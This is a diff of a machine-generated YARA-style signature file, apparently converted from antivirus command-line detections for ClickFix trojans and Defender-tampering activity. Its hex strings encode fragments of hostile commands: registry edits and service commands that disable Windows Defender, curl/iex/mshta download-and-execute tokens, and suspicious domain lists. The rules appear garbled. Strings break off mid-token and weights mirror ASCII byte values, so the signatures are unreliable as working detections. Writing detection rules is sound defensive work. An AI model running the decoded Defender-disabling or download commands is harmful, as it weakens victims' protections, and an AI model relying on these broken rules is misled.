00 65 00 6d 00 33 00 32 00 5c 00 57 00 65 00 72 00 46 00 61 00 75 00 6c 00 74 00 9c ff 3a 00 5c 00 57 00 69 00 6e 00 64 00 6f 00 77 } //114 + $a_00_35 = {73 00 74 00 65 00 6d 00 33 00 32 00 5c 00 63 00 6f 00 6e 00 68 00 6f 00 73 00 74 00 2e 00 65 00 78 00 65 00 9c ff 3e 00 5c 00 57 00 69 00 6e 00 64 00 6f 00 77 00 73 00 5c 00 53 00 79 00 73 00 74 00 65 00 6d 00 33 00 32 00 5c 00 74 00 61 00 73 00 6b 00 68 00 6f 00 73 00 74 00 77 00 2e 00 65 00 78 00 65 00 9c ff 2a 00 5c 00 54 00 72 00 75 00 73 00 74 00 65 00 64 } //83 + $a_00_37 = {61 00 6c 00 6c 00 65 00 72 00 2e 00 65 00 78 00 65 00 9c ff 1a 00 5c 00 6d 00 73 00 63 00 6f 00 72 00 73 00 76 00 77 00 2e 00 65 00 78 00 65 00 9c ff 08 00 5c 00 70 00 64 00 71 00 9c ff 08 00 5c 00 63 00 63 00 6d 00 00 00 d7 a4 04 00 0a 00 0a 00 44 00 21 23 53 4c 46 3a 54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 43 6c 69 63 6b 46 69 78 2e 53 45 42 00 } //115 + $a_00_38 = {2e 00 61 00 63 00 74 00 69 00 76 00 69 00 74 00 79 00 64 00 6d 00 79 00 2f 00 } //10 .activitydmy/ + $a_00_39 = {2e 00 62 00 65 00 74 00 2f 00 } //10 .bet/ + $a_00_40 = {2e 00 62 00 69 00 7a 00 2f 00 } //10 .biz/ + $a_00_41 = {2e 00 62 00 6c 00 6f 00 67 00 2f 00 } //10 .blog/ + $a_00_42 = {2e 00 62 00 6f 00 6e 00 64 00 2f 00 } //10 .bond/ + $a_00_43 = {2e 00 62 00 75 00 7a 00 7a 00 2f 00 } //10 .buzz/ + $a_00_44 = {2e 00 63 00 61 00 6d 00 2f 00 } //10 .cam/ + $a_00_45 = {2e 00 63 00 64 00 61 00 2f 00 } //10 .cda/ + condition: + ((#a_46_0 & 1)*21283+(#a_00_2 & 1)*110+(#a_00_5 & 1)*116+(#a_00_7 & 1)*114+(#a_00_10 & 1)*101+(#a_00_11 & 1)*109+(#a_00_12 & 1)*116+(#a_00_13 & 1)*101+(#a_00_14 & 1)*99+(#a_00_15 & 1)*117+(#a_00_16 & 1)*114+(#a_00_18 & 1)*10+(#a_00_19 & 1)*10+(#a_00_20 & 1)*10+(#a_00_21 & 1)*10+(#a_00_22 & 1)*10+(#a_00_23 & 1)*10+(#a_00_24 & 1)*10+(#a_00_25 & 1)*10+(#a_00_26 & 1)*10+(#a_5d_27 & 1)*0+(#a_00_29 & 1)*111+(#a_00_31 & 1)*58+(#a_00_32 & 1)*50+(#a_00_33 & 1)*114+(#a_00_35 & 1)*83+(#a_00_37 & 1)*115+(#a_00_38 & 1)*10+(#a_00_39 & 1)*10+(#a_00_40 & 1)*10+(#a_00_41 & 1)*10+(#a_00_42 & 1)*10+(#a_00_43 & 1)*10+(#a_00_44 & 1)*10+(#a_00_45 & 1)*10) >=101 + +} +rule _InfrastructureShared_27379{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_CMDHSTR_EXT,0a 00 0a 00 1a 00 21 " @@ -340632,7 +358342,7 @@ rule _InfrastructureShared_26015{ ((#a_4c_0 & 1)*21539+(#a_00_1 & 1)*99+(#a_00_3 & 1)*99+(#a_00_4 & 1)*117+(#a_00_5 & 1)*114+(#a_00_7 & 1)*10+(#a_00_8 & 1)*10+(#a_00_9 & 1)*10+(#a_00_10 & 1)*10+(#a_00_11 & 1)*10+(#a_00_12 & 1)*10+(#a_00_13 & 1)*10+(#a_00_14 & 1)*10+(#a_00_15 & 1)*10+(#a_5d_16 & 1)*0+(#a_00_18 & 1)*111+(#a_00_20 & 1)*58+(#a_00_21 & 1)*50+(#a_00_22 & 1)*114+(#a_00_24 & 1)*83) >=10 } -rule _InfrastructureShared_26016{ +rule _InfrastructureShared_27380{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_CMDHSTR_EXT,01 00 01 00 11 00 21 " @@ -340648,13 +358358,72 @@ rule _InfrastructureShared_26016{ $a_00_10 = {5c 00 6d 00 73 00 63 00 6f 00 72 00 73 00 76 00 77 00 2e 00 65 00 78 00 65 00 } //-100 \mscorsvw.exe $a_00_11 = {5c 00 70 00 64 00 71 00 } //-100 \pdq $a_00_12 = {5c 00 63 00 63 00 6d 00 } //-100 \ccm - $a_a5_13 = {00 01 00 01 00 0c 00 21 23 53 4c 46 3a 57 69 6e 33 32 2f 4d 70 54 61 6d 70 65 72 41 64 61 70 74 69 76 65 2e 41 00 01 00 51 02 73 00 79 00 73 00 74 00 65 00 6d 00 73 00 65 00 74 00 74 00 69 00 6e 00 67 00 73 00 61 00 64 00 6d 00 69 00 6e 00 66 00 6c 00 6f 00 77 00 73 00 90 02 10 64 00 65 00 66 00 65 00 6e 00 64 00 65 00 72 00 20 00 72 00 74 00 70 00 20 00 31 00 90 00 01 00 69 02 73 00 79 00 73 00 74 00 65 00 6d 00 73 00 65 00 74 00 74 00 69 00 6e 00 67 00 73 00 61 00 64 00 6d 00 69 00 6e 00 66 00 6c 00 6f 00 77 00 73 00 90 02 10 64 00 65 00 66 00 65 00 6e 00 64 00 65 00 72 00 20 00 73 00 70 00 79 00 6e 00 65 00 74 00 72 00 65 00 70 00 6f } //0 - $a_00_15 = {67 00 20 00 30 00 90 00 01 00 c9 02 72 00 65 00 67 00 90 02 10 61 00 64 00 64 00 20 00 68 00 90 02 50 5c 00 73 00 6f 00 66 00 74 00 77 00 61 00 72 00 65 00 90 02 28 5c 00 6d 00 69 00 63 00 72 00 6f 00 73 00 6f 00 66 00 74 00 5c 00 77 00 69 00 6e 00 64 00 6f 00 77 00 73 00 20 00 64 00 65 00 66 00 65 00 6e 00 64 00 65 00 72 00 5c } //105 + $a_a4_13 = {00 0a 00 0a 00 44 00 21 23 53 4c 46 3a 54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 43 6c 69 63 6b 46 69 78 2e 53 45 42 00 0a 00 1a 00 2e 00 61 00 63 00 74 00 69 00 76 00 69 00 74 00 79 00 64 00 6d 00 79 00 2f 00 0a 00 0a 00 2e 00 62 00 65 00 74 00 2f 00 0a 00 0a 00 2e 00 62 00 69 00 7a 00 2f 00 0a 00 0c 00 2e 00 62 00 6c 00 6f 00 67 00 2f 00 0a 00 0c 00 2e 00 62 00 6f 00 6e 00 64 00 2f 00 0a 00 0c 00 2e 00 62 00 75 00 7a 00 7a 00 2f 00 0a 00 0a 00 2e 00 63 00 61 00 6d 00 2f 00 0a 00 0a 00 2e 00 63 00 64 00 61 00 2f 00 0a 00 0e 00 2e 00 63 00 6c 00 69 00 63 00 6b 00 2f 00 0a 00 0c 00 2e 00 63 00 6c 00 75 00 62 00 2f 00 0a 00 12 00 2e 00 63 00 } //0 + $a_00_14 = {6e 00 74 00 72 00 79 00 2f 00 0a 00 12 00 2e 00 63 00 75 00 6c 00 74 00 75 00 72 00 65 00 2f 00 0a 00 0c 00 2e 00 63 00 79 00 6f 00 75 00 2f 00 0a 00 0a 00 2e 00 64 00 61 00 74 00 2f 00 0a 00 12 00 2e 00 64 00 69 00 67 00 69 00 74 00 61 00 6c 00 2f 00 0a 00 14 00 2e 00 64 00 6f 00 77 00 6e 00 6c 00 6f 00 61 00 64 00 2f 00 0a 00 1a 00 2e 00 65 00 6d } //111 + $a_00_16 = {65 00 72 00 64 00 62 00 7a 00 2f 00 0a 00 0a 00 2e 00 65 00 70 00 73 00 2f 00 0a 00 10 00 2e 00 66 00 6f 00 72 00 65 00 73 00 74 00 2f 00 0a 00 0a 00 2e 00 66 00 6c 00 76 00 2f 00 0a 00 0a 00 2e 00 66 00 75 00 6e 00 2f 00 0a 00 0a 00 2e 00 67 00 64 00 6e 00 2f 00 0a 00 0c 00 2e 00 68 00 61 00 69 00 72 00 2f 00 0a 00 0c 00 2e 00 68 00 65 00 6c 00 70 00 2f 00 0a } //111 condition: - ((#a_46_0 & 1)*21283+(#a_1c_1 & 1)*-25600+(#a_00_3 & 1)*105+(#a_00_4 & 1)*111+(#a_00_6 & 1)*-100+(#a_00_7 & 1)*-100+(#a_00_8 & 1)*-100+(#a_00_9 & 1)*-100+(#a_00_10 & 1)*-100+(#a_00_11 & 1)*-100+(#a_00_12 & 1)*-100+(#a_a5_13 & 1)*0+(#a_00_15 & 1)*105) >=1 + ((#a_46_0 & 1)*21283+(#a_1c_1 & 1)*-25600+(#a_00_3 & 1)*105+(#a_00_4 & 1)*111+(#a_00_6 & 1)*-100+(#a_00_7 & 1)*-100+(#a_00_8 & 1)*-100+(#a_00_9 & 1)*-100+(#a_00_10 & 1)*-100+(#a_00_11 & 1)*-100+(#a_00_12 & 1)*-100+(#a_a4_13 & 1)*0+(#a_00_14 & 1)*111+(#a_00_16 & 1)*111) >=1 } -rule _InfrastructureShared_26017{ +rule _InfrastructureShared_27381{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_CMDHSTR_EXT,0a 00 0a 00 44 00 21 " + + strings : + $a_46_0 = {54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 43 6c 69 63 6b 46 69 78 2e 53 45 42 00 0a 00 1a 00 2e 00 61 00 63 00 74 00 69 00 76 00 69 00 74 00 79 00 64 00 6d 00 79 00 2f 00 0a 00 0a 00 2e 00 62 00 65 00 74 00 2f 00 0a 00 0a 00 2e 00 } //21283 + $a_00_1 = {7a 00 2f 00 0a 00 0c 00 2e 00 62 00 6c 00 6f 00 67 00 2f 00 0a 00 0c 00 2e 00 62 00 6f 00 6e 00 64 00 2f 00 0a 00 0c 00 2e 00 62 00 75 00 7a 00 7a 00 2f 00 0a 00 0a 00 2e 00 63 00 61 00 6d 00 2f 00 0a 00 0a 00 2e 00 63 00 64 00 61 00 2f 00 0a 00 0e 00 2e 00 63 00 6c 00 69 00 63 00 6b 00 2f 00 0a 00 0c 00 2e 00 63 } //98 + $a_00_3 = {0a 00 12 00 2e 00 63 00 6f 00 75 00 6e 00 74 00 72 00 79 00 2f 00 0a 00 12 00 2e 00 63 00 75 00 6c 00 74 00 75 00 72 00 65 00 2f 00 0a 00 0c } //98 + $a_00_5 = {75 00 2f 00 0a 00 0a 00 2e 00 64 00 61 00 74 00 2f 00 0a 00 12 00 2e 00 64 00 69 00 67 00 69 00 74 00 61 00 6c 00 2f 00 0a 00 14 00 2e 00 64 00 6f 00 77 00 6e 00 6c 00 6f 00 61 00 64 00 2f 00 0a 00 1a 00 2e 00 65 00 6d 00 70 00 6c 00 6f 00 79 00 65 00 72 00 64 00 62 00 7a 00 2f 00 0a 00 0a 00 2e 00 65 00 70 00 73 00 2f 00 0a 00 10 } //121 + $a_00_7 = {65 00 73 00 74 00 2f 00 0a 00 0a 00 2e 00 66 00 6c 00 76 00 2f 00 0a 00 0a 00 2e 00 66 00 75 00 6e 00 2f 00 0a 00 0a 00 2e 00 67 00 64 00 6e 00 2f 00 0a 00 0c 00 2e 00 68 00 61 00 69 00 72 00 2f 00 0a 00 0c 00 2e 00 68 00 65 00 6c 00 70 00 2f 00 0a 00 0a 00 2e 00 69 00 63 00 75 00 2f 00 0a 00 0c 00 2e 00 69 00 6e 00 66 00 6f 00 2f 00 0a 00 } //111 + $a_00_8 = {6c 00 61 00 74 00 2f 00 0a 00 0c 00 2e 00 6c 00 69 00 66 00 65 00 2f 00 0a 00 0c 00 2e 00 6c 00 69 00 6e 00 6b 00 2f 00 0a 00 0c 00 2e 00 } //10 + $a_00_9 = {61 00 6e 00 2f 00 0a 00 0c 00 2e 00 6c 00 69 00 76 00 65 00 2f 00 0a 00 0a 00 2e 00 6d 00 34 00 61 00 2f 00 0a 00 0a 00 2e 00 6d 00 64 00 62 00 2f 00 0a 00 08 00 2e 00 6d 00 65 00 2f 00 0a 00 0a 00 2e 00 6d 00 70 00 33 00 2f 00 0a 00 0a 00 2e 00 6d 00 70 00 34 00 2f 00 0a 00 08 00 2e 00 6d 00 79 00 2f 00 0a 00 10 00 2e 00 6f 00 6e } //108 + $a_00_11 = {2f 00 0a 00 0e 00 2e 00 70 00 61 00 72 00 74 00 79 00 2f 00 0a 00 0a 00 2e 00 70 00 72 00 6f 00 2f 00 0a 00 08 00 2e 00 70 00 77 00 2f 00 0a 00 10 00 2e 00 72 00 61 00 63 00 69 00 6e 00 67 00 2f 00 0a 00 0a 00 2e 00 72 00 65 00 6e 00 2f 00 0a 00 0e 00 2e 00 72 00 65 00 69 00 73 00 65 00 2f 00 0a 00 10 } //110 + $a_00_13 = {69 00 65 00 77 00 2f 00 0a 00 0a 00 2e 00 72 00 75 00 6e 00 2f 00 0a 00 0a 00 2e 00 73 00 62 00 73 00 2f 00 0a 00 12 00 2e 00 73 00 63 00 69 00 65 00 6e 00 63 00 65 00 2f 00 0a 00 0c 00 2e 00 73 00 68 00 6f 00 70 00 2f 00 0a 00 0c 00 2e 00 73 00 69 00 74 00 65 00 2f 00 0a 00 0e 00 2e 00 73 00 70 00 61 00 63 00 65 00 2f 00 0a 00 0e 00 2e 00 73 00 74 00 } //101 + $a_00_14 = {65 00 2f 00 0a 00 10 00 2e 00 73 00 74 00 72 00 65 00 61 00 6d 00 2f 00 0a 00 0e 00 2e 00 73 00 74 00 75 00 64 00 79 00 2f 00 0a 00 0c 00 2e 00 74 00 65 00 63 00 68 00 2f 00 0a 00 18 00 2e 00 74 00 65 00 63 00 68 00 6e 00 6f 00 6c 00 6f 00 67 00 79 00 2f 00 0a 00 1a 00 2e 00 74 00 65 00 72 00 72 00 69 00 66 00 79 00 65 00 6e 00 79 00 62 00 } //111 + $a_00_15 = {0e 00 2e 00 74 00 6f 00 64 00 } //47 + $a_00_16 = {2f 00 0a 00 0a 00 2e 00 74 00 6f 00 70 00 2f 00 0a 00 0a 00 2e 00 76 00 69 00 70 00 2f 00 0a 00 0c 00 2e 00 77 00 6f 00 72 00 6b 00 2f 00 0a 00 0e 00 2e 00 77 00 6f 00 72 00 6c 00 64 00 2f 00 0a 00 0a 00 2e 00 78 00 6c 00 6c 00 2f 00 0a 00 0a 00 2e 00 78 00 79 00 7a 00 2f 00 0a 00 14 00 2e 00 79 00 6f 00 6b 00 6f 00 68 00 61 00 6d 00 61 00 2f 00 0a 00 08 00 2e } //97 + $a_fe_18 = {00 2e 00 70 00 73 00 31 00 d4 fe 08 00 2e 00 68 00 74 00 61 00 00 00 d7 a5 05 00 01 00 01 00 0c 00 21 23 53 4c 46 3a 57 69 6e 33 32 2f 4d 70 54 61 6d 70 65 72 41 64 61 70 74 69 76 65 2e 41 00 01 00 51 02 73 00 79 00 73 00 74 00 65 00 6d 00 73 00 65 00 74 00 74 00 69 00 6e 00 67 00 73 00 61 00 64 00 6d 00 69 00 6e 00 66 00 6c 00 6f 00 77 00 73 00 90 02 10 64 00 65 00 66 00 65 00 6e 00 64 00 65 00 72 00 20 00 72 00 74 00 70 00 20 00 31 00 90 00 01 00 69 02 73 00 79 00 73 00 74 00 65 00 6d 00 73 00 65 00 74 00 74 00 69 00 6e 00 67 00 73 00 61 00 64 00 6d 00 69 00 6e 00 66 00 6c 00 6f 00 77 00 73 00 90 02 10 64 00 65 00 66 00 65 00 } //47 + $a_00_19 = {65 00 72 00 20 00 73 00 70 00 79 00 6e 00 65 00 74 00 72 00 65 00 70 00 6f 00 72 00 74 00 69 00 6e 00 67 00 20 00 30 00 90 00 01 00 c9 02 72 00 65 00 67 00 90 02 10 61 00 64 00 64 00 20 00 68 00 90 02 50 5c 00 73 00 6f 00 66 00 74 00 77 00 61 00 72 00 65 00 90 02 28 5c 00 6d 00 69 00 63 00 72 00 6f } //110 + $a_00_21 = {5c 00 77 00 69 00 6e 00 64 00 6f 00 77 00 73 00 20 00 64 00 65 00 66 00 65 00 6e 00 64 00 65 00 72 00 5c 00 72 00 65 00 61 00 6c 00 2d 00 74 00 69 00 6d 00 65 00 20 00 70 00 72 00 6f 00 74 00 65 00 63 00 74 00 69 00 6f 00 6e 00 90 02 50 64 00 69 00 73 00 61 00 62 00 6c 00 65 00 72 00 65 00 61 00 6c 00 74 00 69 00 6d 00 65 00 6d 00 6f 00 6e 00 69 } //102 + $a_00_23 = {6e 00 67 00 90 02 80 20 00 31 00 90 00 01 00 d3 02 72 00 65 00 67 00 90 02 10 61 00 64 00 64 00 20 00 68 00 90 02 50 5c 00 73 00 6f 00 66 00 74 00 77 00 61 00 72 00 65 00 90 02 28 5c 00 6d 00 69 00 63 00 72 00 6f 00 73 00 6f 00 66 00 74 00 5c 00 6d 00 69 00 63 00 72 00 6f 00 73 00 6f 00 66 00 74 00 20 00 61 00 6e } //114 + $a_00_25 = {6c 00 77 00 61 00 72 00 65 00 5c 00 72 00 65 00 61 00 6c 00 2d 00 74 00 69 00 6d 00 65 00 20 00 70 00 72 00 6f 00 74 00 65 00 63 00 74 00 69 00 6f 00 6e 00 90 02 50 64 00 69 00 73 00 61 00 62 00 6c 00 65 00 72 00 65 00 61 00 6c 00 74 00 69 00 6d 00 65 00 6d 00 6f 00 6e 00 69 00 74 00 6f 00 } //109 + $a_00_26 = {6e 00 67 00 90 02 80 20 00 31 00 90 00 01 00 8d 02 72 00 65 00 67 00 90 02 10 61 00 64 00 64 00 20 00 68 00 90 02 50 5c 00 73 00 6f 00 66 00 74 00 77 00 61 00 72 00 65 00 90 02 28 5c 00 6d 00 69 00 63 00 72 00 6f 00 73 00 6f 00 66 00 74 00 5c 00 77 00 69 00 6e 00 64 00 6f 00 77 00 73 00 20 00 64 00 65 00 66 00 65 } //114 + $a_00_28 = {90 02 50 64 00 69 00 73 00 61 00 62 00 6c 00 65 00 61 00 6e 00 74 00 69 00 76 00 69 00 72 00 75 00 73 00 90 02 80 20 00 31 00 90 00 01 00 97 02 72 00 65 00 67 00 90 02 10 61 00 64 00 64 00 20 00 68 00 90 02 50 5c 00 73 00 6f 00 66 00 74 00 77 00 61 00 72 00 65 00 90 02 28 5c 00 6d 00 69 00 63 00 72 00 6f 00 73 00 6f 00 66 00 74 00 5c 00 6d } //101 + $a_00_30 = {73 00 6f 00 66 00 74 00 20 00 61 00 6e 00 74 00 69 00 6d 00 61 00 6c 00 77 00 61 00 72 00 65 00 90 02 50 64 00 69 00 73 00 61 00 62 00 6c 00 65 00 61 00 6e 00 74 00 69 00 76 00 69 00 72 00 75 00 73 00 90 02 80 20 00 31 00 90 00 01 00 91 02 72 00 65 00 67 00 90 02 10 61 00 64 00 64 00 20 00 68 00 90 02 50 5c 00 73 00 6f 00 66 00 74 } //114 + $a_00_32 = {90 02 28 5c 00 6d 00 69 00 63 00 72 00 6f 00 73 00 6f 00 66 00 74 00 5c 00 77 00 69 00 6e 00 64 00 6f 00 77 00 73 00 20 00 64 00 65 00 66 00 65 00 6e 00 64 00 65 00 72 00 90 02 50 64 00 69 00 73 00 61 00 62 00 6c 00 65 00 61 00 6e 00 74 00 69 00 73 00 70 00 79 00 77 00 61 00 72 00 65 00 90 02 80 20 00 } //114 + $a_00_33 = {01 00 9b 02 72 00 65 00 67 00 90 02 10 61 00 64 00 64 00 20 00 68 00 90 02 50 5c 00 73 00 6f 00 66 00 74 00 77 00 61 00 72 00 65 00 90 02 28 5c 00 6d 00 69 00 63 00 72 00 6f 00 73 00 6f 00 66 00 74 00 5c 00 6d 00 69 00 63 00 72 00 6f 00 73 00 6f 00 66 00 74 00 20 00 61 00 6e 00 74 00 69 00 6d 00 61 00 6c 00 77 00 61 00 72 00 65 00 90 02 50 64 00 69 00 73 00 61 00 62 00 6c 00 65 00 61 00 6e 00 74 00 69 00 73 00 70 00 79 00 77 00 } //49 + $a_00_34 = {65 00 90 02 80 20 00 31 00 90 00 01 00 27 02 73 00 63 00 90 02 10 20 00 73 00 74 00 6f 00 70 00 20 00 77 00 69 00 6e 00 64 00 65 00 66 00 65 00 6e 00 64 00 90 00 01 00 2b 02 73 00 63 00 90 02 10 20 00 64 00 65 00 6c 00 65 00 74 00 65 00 20 00 77 00 69 00 6e 00 64 00 65 00 66 00 65 00 6e 00 64 00 90 00 01 00 29 02 6e 00 65 00 74 00 90 02 10 } //97 + $a_00_35 = {74 00 6f 00 70 00 20 00 57 00 69 00 6e 00 44 00 65 00 66 00 65 00 6e 00 64 00 90 00 01 00 2d 02 6e 00 65 00 74 00 90 02 10 20 00 64 00 65 00 6c 00 65 00 74 00 65 00 20 00 57 00 69 00 6e 00 44 00 65 00 66 00 65 00 6e 00 64 00 90 00 00 00 d7 41 07 00 01 00 01 00 51 00 21 23 53 4c 46 3a 54 72 6f 6a 61 6e 44 6f 77 6e 6c 6f 61 64 65 72 3a 57 69 6e } //32 + $a_43_36 = {69 63 6b 46 69 78 2e 4a 41 00 01 00 06 00 63 00 6d 00 64 00 01 00 08 00 63 00 75 00 72 00 6c 00 01 00 08 00 20 00 69 00 65 00 78 00 01 00 08 } //12851 + $a_00_38 = {01 00 08 00 69 00 65 00 78 00 28 00 01 00 08 00 7c 00 69 00 65 00 78 00 01 00 06 00 69 00 77 00 } //120 + $a_00_39 = {0e } //114 + $a_00_41 = {69 00 70 00 74 00 01 00 0e 00 77 00 73 00 63 00 72 00 69 00 70 00 74 00 01 00 1c 00 49 00 6e 00 73 00 74 00 61 00 6c 00 6c 00 50 00 72 00 6f 00 64 00 75 00 63 00 74 00 01 00 12 00 62 00 69 00 74 00 73 00 61 00 64 00 6d 00 69 00 6e 00 01 00 10 00 63 00 65 00 72 00 74 00 75 00 74 00 69 00 6c 00 01 00 16 00 69 00 6e 00 73 00 74 00 61 00 6c 00 } //99 + $a_00_42 = {74 00 69 00 6c 00 01 00 16 00 73 00 63 00 72 00 69 00 70 00 74 00 62 00 6c 00 6f 00 63 00 6b 00 01 00 10 00 74 00 61 00 73 00 6b 00 73 00 63 00 68 00 64 00 01 00 10 00 73 00 63 00 68 00 74 00 61 00 73 00 6b 00 73 00 01 00 0c 00 69 00 6e 00 76 00 6f 00 6b 00 65 00 01 00 10 00 76 00 62 00 73 00 63 00 72 00 69 00 70 00 74 00 01 00 06 00 73 00 73 00 6c } //108 + $a_00_45 = {69 00 6c 00 65 00 73 00 01 00 0e 00 72 00 65 00 70 00 6c 00 61 00 63 00 65 00 01 00 0a 00 68 00 74 00 74 00 70 00 3a 00 01 00 0c 00 68 00 74 00 74 00 70 00 73 00 3a 00 01 00 08 00 70 00 74 00 74 00 68 00 01 00 08 00 73 00 3a 00 2f 00 2f 00 01 00 0c 00 68 00 69 00 64 00 64 00 65 00 6e 00 01 00 12 00 6d 00 } //114 + $a_00_46 = {69 00 6d 00 69 00 7a 00 65 00 64 00 01 00 0c 00 5b 00 63 00 68 00 61 00 72 00 5d 00 01 00 0c 00 5b 00 62 00 79 00 74 00 65 00 5d 00 9c ff 14 00 55 00 70 00 64 00 61 00 74 00 65 00 2e 00 65 00 78 00 65 00 9c ff 0c 00 6d 00 73 00 65 00 64 00 67 00 65 00 9c ff 10 00 69 00 65 00 78 00 70 00 6c 00 6f 00 72 00 65 00 9c ff 0a 00 73 00 } //105 + $a_00_47 = {63 00 6b 00 9c ff 0c 00 63 00 68 00 72 00 6f 00 6d 00 65 00 9c ff 10 00 61 00 63 00 72 00 6f 00 72 00 64 00 33 00 32 00 9c ff 10 00 6c 00 6f 00 6f 00 6d 00 2e 00 65 00 78 00 65 00 9c ff 0a 00 65 00 78 00 63 00 65 00 6c 00 9c ff 0e 00 77 00 69 00 6e 00 77 00 6f 00 72 00 64 00 9c ff 10 00 70 } //108 + $a_00_49 = {70 00 6e 00 74 00 9c ff 0e 00 6f 00 6e 00 65 00 6e 00 6f 00 74 00 65 00 9c ff 0e 00 6f 00 75 00 74 00 6c 00 6f 00 6f 00 6b 00 9c ff 0c 00 73 00 69 00 67 00 6e 00 61 00 6c 00 9c ff 14 00 73 00 74 00 61 00 72 00 74 00 20 00 6d 00 65 00 6e 00 75 00 9c ff 1a 00 70 00 72 00 6f 00 67 00 72 00 61 00 6d 00 20 00 66 00 69 00 6c 00 65 00 73 00 9c ff } //101 + $a_00_50 = {6d 00 62 00 65 00 64 00 68 00 6f 00 6f 00 6b 00 2d 00 78 00 38 00 36 00 2e 00 65 00 78 00 65 00 9c ff 0a 00 63 00 61 00 6e 00 76 00 61 00 9c ff 1c 00 73 00 79 00 6e 00 63 00 63 00 6f 00 6e 00 74 00 72 00 6f 00 6c 00 6c 00 65 00 72 00 9c ff 0e 00 61 00 63 00 72 00 6f 00 62 00 61 00 74 00 9c ff 0e 00 66 } //34 + $a_00_52 = {6f 00 78 00 9c ff 12 00 61 00 63 00 63 00 65 00 6e 00 74 00 75 00 72 00 65 00 9c ff 14 00 61 00 72 00 74 00 69 00 63 00 75 00 6c 00 61 00 74 00 65 00 9c ff 14 00 62 00 6c 00 75 00 65 00 73 00 74 00 61 00 63 00 6b 00 73 00 9c ff 10 00 65 00 78 00 70 00 6c 00 6f 00 72 00 65 00 72 00 9c ff 14 00 63 00 68 00 } //101 + $a_00_53 = {6f 00 6c 00 61 00 74 00 65 00 79 00 9c ff 0c 00 63 00 72 00 6f 00 6e 00 65 00 74 00 9c ff 10 00 46 00 69 00 64 00 65 00 6c 00 69 00 74 00 79 00 9c ff 0e 00 4f 00 70 00 65 00 6e 00 46 00 69 00 6e 00 9c ff 0a 00 63 00 61 00 63 00 68 00 65 00 9c ff 14 00 41 00 70 00 70 00 76 00 43 00 6c 00 69 00 65 } //111 + $a_00_55 = {7a 00 6f 00 6f 00 6d 00 } //-100 zoom + $a_00_56 = {70 00 72 00 69 00 6e 00 74 00 65 00 72 00 } //-100 printer + $a_00_57 = {49 00 6e 00 74 00 75 00 6e 00 65 00 4d 00 61 00 6e 00 61 00 67 00 65 00 6d 00 65 00 6e 00 74 00 45 00 78 00 74 00 65 00 6e 00 73 00 69 00 6f 00 6e 00 } //-100 IntuneManagementExtension + $a_00_58 = {6d 00 69 00 63 00 72 00 6f 00 73 00 6f 00 66 00 74 00 5f 00 6f 00 75 00 74 00 6c 00 6f 00 6f 00 6b 00 5f 00 69 00 6e 00 74 00 65 00 67 00 72 00 61 00 74 00 69 00 6f 00 6e 00 } //-100 microsoft_outlook_integration + $a_00_59 = {41 00 74 00 65 00 72 00 6e 00 69 00 74 00 79 00 } //-100 Aternity + $a_00_60 = {2e 00 73 00 6f 00 76 00 2e 00 6d 00 70 00 73 00 } //-100 .sov.mps + $a_00_61 = {66 00 74 00 70 00 2e 00 6d 00 6f 00 7a 00 69 00 6c 00 6c 00 61 00 2e 00 6f 00 72 00 67 00 } //-100 ftp.mozilla.org + $a_00_62 = {50 00 61 00 6c 00 6f 00 41 00 6c 00 74 00 6f 00 } //-100 PaloAlto + $a_00_63 = {47 00 6c 00 6f 00 62 00 61 00 6c 00 50 00 72 00 6f 00 74 00 65 00 63 00 74 00 } //-100 GlobalProtect + $a_00_64 = {73 00 79 00 73 00 74 00 65 00 6d 00 70 00 72 00 6f 00 66 00 69 00 6c 00 65 00 } //-100 systemprofile + $a_00_65 = {43 00 72 00 6f 00 73 00 73 00 46 00 69 00 6e 00 64 00 65 00 72 00 } //-100 CrossFinder + $a_00_66 = {2e 00 63 00 6c 00 6f 00 75 00 64 00 61 00 70 00 70 00 2e 00 61 00 7a 00 75 00 72 00 65 00 } //-100 .cloudapp.azure + $a_00_67 = {4d 00 41 00 49 00 4e 00 54 00 45 00 4e 00 41 00 4e 00 43 00 45 00 } //-100 MAINTENANCE + condition: + ((#a_46_0 & 1)*21283+(#a_00_1 & 1)*98+(#a_00_3 & 1)*98+(#a_00_5 & 1)*121+(#a_00_7 & 1)*111+(#a_00_8 & 1)*10+(#a_00_9 & 1)*108+(#a_00_11 & 1)*110+(#a_00_13 & 1)*101+(#a_00_14 & 1)*111+(#a_00_15 & 1)*47+(#a_00_16 & 1)*97+(#a_fe_18 & 1)*47+(#a_00_19 & 1)*110+(#a_00_21 & 1)*102+(#a_00_23 & 1)*114+(#a_00_25 & 1)*109+(#a_00_26 & 1)*114+(#a_00_28 & 1)*101+(#a_00_30 & 1)*114+(#a_00_32 & 1)*114+(#a_00_33 & 1)*49+(#a_00_34 & 1)*97+(#a_00_35 & 1)*32+(#a_43_36 & 1)*12851+(#a_00_38 & 1)*120+(#a_00_39 & 1)*114+(#a_00_41 & 1)*99+(#a_00_42 & 1)*108+(#a_00_45 & 1)*114+(#a_00_46 & 1)*105+(#a_00_47 & 1)*108+(#a_00_49 & 1)*101+(#a_00_50 & 1)*34+(#a_00_52 & 1)*101+(#a_00_53 & 1)*111+(#a_00_55 & 1)*-100+(#a_00_56 & 1)*-100+(#a_00_57 & 1)*-100+(#a_00_58 & 1)*-100+(#a_00_59 & 1)*-100+(#a_00_60 & 1)*-100+(#a_00_61 & 1)*-100+(#a_00_62 & 1)*-100+(#a_00_63 & 1)*-100+(#a_00_64 & 1)*-100+(#a_00_65 & 1)*-100+(#a_00_66 & 1)*-100+(#a_00_67 & 1)*-100) >=10 + +} +rule _InfrastructureShared_27382{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_CMDHSTR_EXT,01 00 01 00 0c 00 21 " @@ -340672,7 +358441,169 @@ rule _InfrastructureShared_26017{ ((#a_46_0 & 1)*21283+(#a_10_1 & 1)*-28672+(#a_00_2 & 1)*101+(#a_00_4 & 1)*116+(#a_00_6 & 1)*101+(#a_61_7 & 1)*656+(#a_00_9 & 1)*119+(#a_00_10 & 1)*111+(#a_02_11 & 1)*101) >=1 } -rule _InfrastructureShared_26018{ +rule _InfrastructureShared_27383{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_CMDHSTR_EXT,01 00 01 00 51 00 21 " + + strings : + $a_46_0 = {54 72 6f 6a 61 6e 44 6f 77 6e 6c 6f 61 